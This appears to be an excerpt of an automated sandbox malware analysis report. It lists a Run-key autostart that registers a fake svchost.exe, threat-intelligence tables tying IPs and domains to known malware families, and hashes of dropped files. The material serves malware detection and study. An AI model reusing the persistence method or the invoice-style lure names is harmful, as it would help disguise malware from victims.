20:11:23	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run svchost C:\Users\user\svchost.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	file.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	file.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	23khy505ab.exe	Get hash	malicious	Njrat	Browse	ip-api.com/line/?fields=hosting
	XClient.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	Java32.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	mcgen.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	intro.avi.exe	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	AimStar.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	L988Ph5sKX.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	kj93GnZHBS.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
69.42.215.252	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Open Purchase Order Summary Sheet.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	xyxmml.msi	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	valyzt.msi	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	VKKDXE.exe	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	New PO - Supplier 16-12-2024-Pdf.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Supplier.bat	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Purchase-Order.exe	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	https://gldkzr-lpqw.buzz/script/ut.js?cb%5C=1735764124690	Get hash	malicious	Unknown	Browse	13.107.246.45
	Bootxr.exe	Get hash	malicious	Xmrig	Browse	13.107.246.45
	cici.exe	Get hash	malicious	RedLine	Browse	13.107.246.45
	intro.avi.exe	Get hash	malicious	Quasar	Browse	13.107.246.45
	random(6).exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	1.exe	Get hash	malicious	XWorm	Browse	13.107.246.45
	installer64v7.1.0.msi	Get hash	malicious	Unknown	Browse	13.107.246.45
	hcxmivKYfL.exe	Get hash	malicious	RedLine	Browse	13.107.246.45
	01012025.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://l.instagram.com/?0bfd7a413579bfc47b11c1f19890162e=f171d759fb3a033e4eb430517cad3aef&e=ATP3gbWvTZYJbEDeh7rUkhPx4FjctqZcqx8JLHQOt3eCFNBI8ssZ853B2RmMWetLJ63KaZJU&s=1&u=https%3A%2F%2Fbusiness.instagram.com%2Fmicro_site%2Furl%2F%3Fevent_type%3Dclick%26site%3Digb%26destination%3Dhttps%253A%252F%252Fwww.facebook.com%252Fads%252Fig_redirect%252F%253Fd%253DAd8U5WMN2AM7K-NrvRBs3gyfr9DHeZ3ist33ENX9eJBJWMRBAaOOij4rbjtu42P4dXhL8YyD-jl0LZtS1wkFu-DRtZrPI1zyuzAYXXYv3uJfsc2GuuhHJZr0iVcLluY7-XzYStW8tPCtY7q5OaN0ZR5NezqONJHNCe212u1Fk3V5I6c8mMsj53lfF9nQIFCpMtE%2526a%253D1%2526hash%253DAd_y5usHyEC86F8X	Get hash	malicious	Unknown	Browse	13.107.246.45
ip-api.com	file.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	file.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	23khy505ab.exe	Get hash	malicious	Njrat	Browse	208.95.112.1
	XClient.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	Java32.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	mcgen.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	intro.avi.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	AimStar.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	L988Ph5sKX.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	kj93GnZHBS.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
freedns.afraid.org	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Open Purchase Order Summary Sheet.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	xyxmml.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	valyzt.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	VKKDXE.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	New PO - Supplier 16-12-2024-Pdf.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Supplier.bat	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase-Order.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SPECTRAIPSpectraIPBVNL	file.exe	Get hash	malicious	XWorm	Browse	45.141.26.134
	file.exe	Get hash	malicious	XWorm	Browse	45.141.26.134
	XClient.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	45.141.26.234
	Java32.exe	Get hash	malicious	XWorm	Browse	45.141.26.234
	nklmips.elf	Get hash	malicious	Unknown	Browse	89.190.159.77
	1.elf	Get hash	malicious	Unknown	Browse	45.141.239.79
	TRC.ppc.elf	Get hash	malicious	Mirai	Browse	45.144.191.245
	da6ke5KbfB.exe	Get hash	malicious	AsyncRAT, Babadeda, XWorm	Browse	45.141.26.234
	03VPFXH490.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	45.141.26.234
	saiya.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	45.141.26.134
TUT-ASUS	file.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	file.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	23khy505ab.exe	Get hash	malicious	Njrat	Browse	208.95.112.1
	XClient.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	Java32.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	mcgen.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	intro.avi.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	AimStar.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	L988Ph5sKX.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	kj93GnZHBS.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
AWKNET-LLCUS	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Open Purchase Order Summary Sheet.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	xyxmml.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	valyzt.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	VKKDXE.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	New PO - Supplier 16-12-2024-Pdf.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Supplier.bat	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase-Order.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zip	Get hash	malicious	Unknown	Browse	142.250.185.193 142.250.74.206
	MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zip	Get hash	malicious	Unknown	Browse	142.250.185.193 142.250.74.206
	Setup.exe.7z	Get hash	malicious	Unknown	Browse	142.250.185.193 142.250.74.206
	45631.exe	Get hash	malicious	Nitol	Browse	142.250.185.193 142.250.74.206
	45631.exe	Get hash	malicious	Unknown	Browse	142.250.185.193 142.250.74.206
	1734098836319.exe	Get hash	malicious	BlackMoon	Browse	142.250.185.193 142.250.74.206
	ETVk1yP43q.exe	Get hash	malicious	AZORult	Browse	142.250.185.193 142.250.74.206
	16oApcahEa.exe	Get hash	malicious	Babuk, Djvu	Browse	142.250.185.193 142.250.74.206
	6a7e35.msi	Get hash	malicious	Unknown	Browse	142.250.185.193 142.250.74.206

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.35901589905449205
Encrypted:	false
SSDEEP:	6:6xboaaD0JOCEfMuaaD0JOCEfMKQmDkxboaaD0JOCEfMuaaD0JOCEfMKQmD:ZaaD0JcaaD0JwQQnaaD0JcaaD0JwQQ
MD5:	7D48941DB05D2D1C9A0C52739933543F
SHA1:	4FF1446A7D5DA6BBEA145000B00A9F4FFED90930
SHA-256:	C436AB7F36E238365FDDF5BDFEB9EBFEFACE94AD0FEB79C571182DA968815D87
SHA-512:	41C7DA95797437840014733F7021883E034503A9D8F07F7C9A0B1131A869A29A6E00D4E9FA99EEDAFBDD2F0DFDAFFB0A7671D8F666DA0E2023CA887E4BA0FB62
Malicious:	false
Preview:	*.>...........f.....D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................f.............................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7107150978412616
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqq:2JIB/wUKUKQncEmYRTwh0u
MD5:	80D95CEBB3672335FE76D64DDD6E96EC
SHA1:	FB5A2930452D6D043EC1ABB0184FB33B0061762F
SHA-256:	7ED78BB160BAC1834BF31CB79027D0C3C11FE63F77181A920829C04407F897B2
SHA-512:	B9449DF6FED294D4D0C9FA54F6463D193F69939C30ED4240B5969737AB55277D36AD9AF4A72111F7ADE3FCB0F0D614952FF5F2FF1491DE900FC48C019743798E
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x4db42a3b, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6650510248133181
Encrypted:	false
SSDEEP:	1536:dSB2ESB2SSjlK/2502y0IEWBqbMo5g5+Ykr3g16z2UPkLk+kK+UJ8xUJSSiWjFjF:dazaU+uroc2U5Si6
MD5:	986EF83205675D41509DEE9DF0978A77
SHA1:	59A1C3FE467A2EBBF087A01AD552F49CDC156696
SHA-256:	1776D8811D9872147EAA1B3A4AF0736D48AF7D4F38CBA8F70E06F9A7E51CBD63
SHA-512:	51E344C2DB8380887D758FE259BEAB1DE949641E3287B4B1C1877F9740A983D624298B07A083A14062F28FD29DF810863DC2094AFCB0A63514922C5593685BB1
Malicious:	false
Preview:	M.*;... .......#.......X\...;...{......................0.e.....5....}}.)....}9.h.b.....5....}}.0.e.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{...................................JK.5....}}.................8..'5....}}..........................#......0.e.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07968753974984144
Encrypted:	false
SSDEEP:	3:R/llOetYe7okB2kbl/CRCbYC8jKUYKAkbl/allkqqG9lXlZOS:R/llrz7okAyn98jKUYOBGVr
MD5:	60F93F3E0D5A8185AE1F6BB4753A543D
SHA1:	F25817C007D3CC3194749827055FCA00DFE99AE9
SHA-256:	EF220674DA9C1FB25218A4D3BC0B27D6421846B42409303B61642CFADECE3A0B
SHA-512:	003D91CA7C8B45017DDD06C91CE07BB747D81DFA9EB7EBD6E90E8222AAB065F2EB779270F21AEDE20D087508041E3E3F2C43B163A1BD6D8B985071CF70A8DCDF
Malicious:	false
Preview:	jx.......................................;...{..)....}9.5....}}.........5....}..5....}_....o5....}_.................8..'5....}}.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_43f0d137c6219254dfc5cf5a3d23f6d1d32ca47_455b7b6e_480cd6af-f8f2-42e2-9d2b-8b44ad7bcc74\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1335508486445554
Encrypted:	false
SSDEEP:	192:6nLYVpsTGImg0BU/3DzJDzqjLOA/itcBFzuiF/Z24IO8EKDzy:u4yyRBU/3JqjMizuiF/Y4IO8zy
MD5:	9BCF1B15515F712D14F314FBFC82C8CB
SHA1:	8E0E0E0A9E12C20347EC8CD2F344A5CC090F62E9
SHA-256:	4C9936D577697B33F5B7340CBBC66C5729183906F03DECE9B2A615BF33D7CF7C
SHA-512:	EAFF7F8BA3C650C56BD6991448C8D0097DFA664B19E20035C5585EE873B71DBF45447B99EAB463D724FC5FE949FC57A59719FCB91A4208CC58407BD0B9A67016
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.0.3.1.8.7.4.8.2.0.3.5.8.1.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.0.3.1.8.7.7.6.2.3.4.8.3.5.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.8.0.c.d.6.a.f.-.f.8.f.2.-.4.2.e.2.-.9.d.2.b.-.8.b.4.4.a.d.7.b.c.c.7.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.9.d.e.9.0.f.c.-.4.3.8.1.-.4.9.7.2.-.b.4.4.e.-.7.8.b.e.9.8.3.9.7.e.9.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.y.n.a.p.t.i.c.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.5.e.0.-.0.0.0.1.-.0.0.1.4.-.f.1.a.2.-.2.d.0.0.4.a.5.d.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.9.9.a.1.3.7.d.5.9.3.d.d.a.9.d.1.5.8.d.c.8.b.6.b.7.7.2.0.d.e.b.0.0.0.0.1.f.0.4.!.0.0.0.0.3.9.0.9.2.6.0.1.f.b.3.0.e.4.1.a.2.d.b.7.5.6.d.b.4.2.8.8.b.3.1.2.f.f.4.8.7.b.6.6.!.S.y.n.a.p.t.i.c.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7048.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Jan 2 19:12:40 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	8384076
Entropy (8bit):	2.3161451517038785
Encrypted:	false
SSDEEP:	24576:V+0zB6j2VIf9YSOAD9n4BDGYzG0Nao6v0vzNmkm0ONGc4Qte:vtAhCaoO046Pc
MD5:	A8A08AC4B5479C2312175D9718080EB8
SHA1:	42FDE3C1FB7E0846A237378EB9E634801C437073
SHA-256:	22D5E32784491F12B17D70A7BA31F1A659B1FA10B360E4BC9D3BECC484B318C8
SHA-512:	200E1DF4E9936F50EA28655431FEE37DEE2DFE864E70D6E85318631EF7DFED4ADADBA7CFCE863BF953B7AAA7A0505EB5E2596FFA32651C349E43CE44F0E054DC
Malicious:	false
Preview:	MDMP..a..... .......(.vg....................................$...@............M..........`.......8...........T..............d=\|.........d...........P...............................................................................eJ..............GenuineIntel............T.............vg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDC9F.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6338
Entropy (8bit):	3.7158215392819196
Encrypted:	false
SSDEEP:	192:R6l7wVeJax66TAD58DeYiSeFprC89b/1sfEVm:R6lXJ/68l86Y2j/Ofb
MD5:	5C78F07156A684CE715D0A925F49BC6A
SHA1:	E7237ED2BD823E54D363E5F4933E1C2D77A60F64
SHA-256:	79A05137756C2C2F748DBBC2156B9200E7BE7FC0ED45C910DCDAC8E060F9BB40
SHA-512:	AD371E01FC831CEFA1D528BC32EEE8E2BBA5535C2D246F69C887FC31450DB0531F844C9FFC63EC9FDFAB90C595F6E4F147FB79A78C346EB1E27E84CCB6BC5A21
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.6.0.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDCFE.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4572
Entropy (8bit):	4.444943982674078
Encrypted:	false
SSDEEP:	48:cvIwWl8zsTJg77aI9jwWpW8VYkYm8M4JFQFnAz+q84J4qZed:uIjftI7ZJ7VYJnzb4qZed
MD5:	B3093DCDD6B1669A352345F9F16006AA
SHA1:	DA7B06D5725724773E11F68F181FD676EE5DA13F
SHA-256:	D426E26350246E92AF1E13E5EE2158AC4DB62E106B8143145115D654C6DC3F6C
SHA-512:	0E2B462C03EFA16635054B92D0EB49375C4C7A5A32C513D3084C8B0BF1195B82257E90C95DBE25B77159B522CA817854F413C41EDB6FEFD4D74C8D3CFD54D96B
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="658695" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDD1B.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	89426
Entropy (8bit):	3.1090436323487625
Encrypted:	false
SSDEEP:	1536:wtN21BGzQ+3rNeGIUSFThF+e+ZoT+Fh9+J6eBjuvoB+Dbg:wtN21BGzQ+3rNeGIUGThF+e+ZoT+Fh9Y
MD5:	1E51B9FAA40382ACC634B9797D9D5DAF
SHA1:	4AB483D0F7FA5AE4768F3F91ED57BE07D64E9EBD
SHA-256:	29BC87D6167CAE44AAEB7AEEDF76E388B9B93CC2100562F70A3E139DB44161D0
SHA-512:	03785764261998BD9DCD76229B9425AAD11B001E04F1A1A578BBE785685A7B2731BF892470EF6734AE030B2E111E9806D0C0D7C7B7C1AB01F09F6C897E48238B
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDD99.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6881781836694674
Encrypted:	false
SSDEEP:	96:TiZYWM0waXmqY0XYmSrWJSH6fUYEZZutKiv3ERx1wLPDtYiaEKmXMVoUIe+3:2ZDGqRBhgoxYiaEKmXMVoDe+3
MD5:	859E6B164EB7FD3C5EF31D81B1024CE6
SHA1:	2E117F226918BF0E3E4F28DC2A35F6C1D52DB2D3
SHA-256:	1D4CA259229CA0F566F282A80E2AE595F1D6A2252E3CA47DBCD00E5484DE824E
SHA-512:	CE240DE1AAC110CF41FC2D7762DDF3EC6DF229F05194B4AD5C266C75E4472DE758E296869802F0E23B834EC74A556B0E03EE846AF849A160C1210ED5C90D69B3
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Synaptics\RCXB47F.tmp

Download File

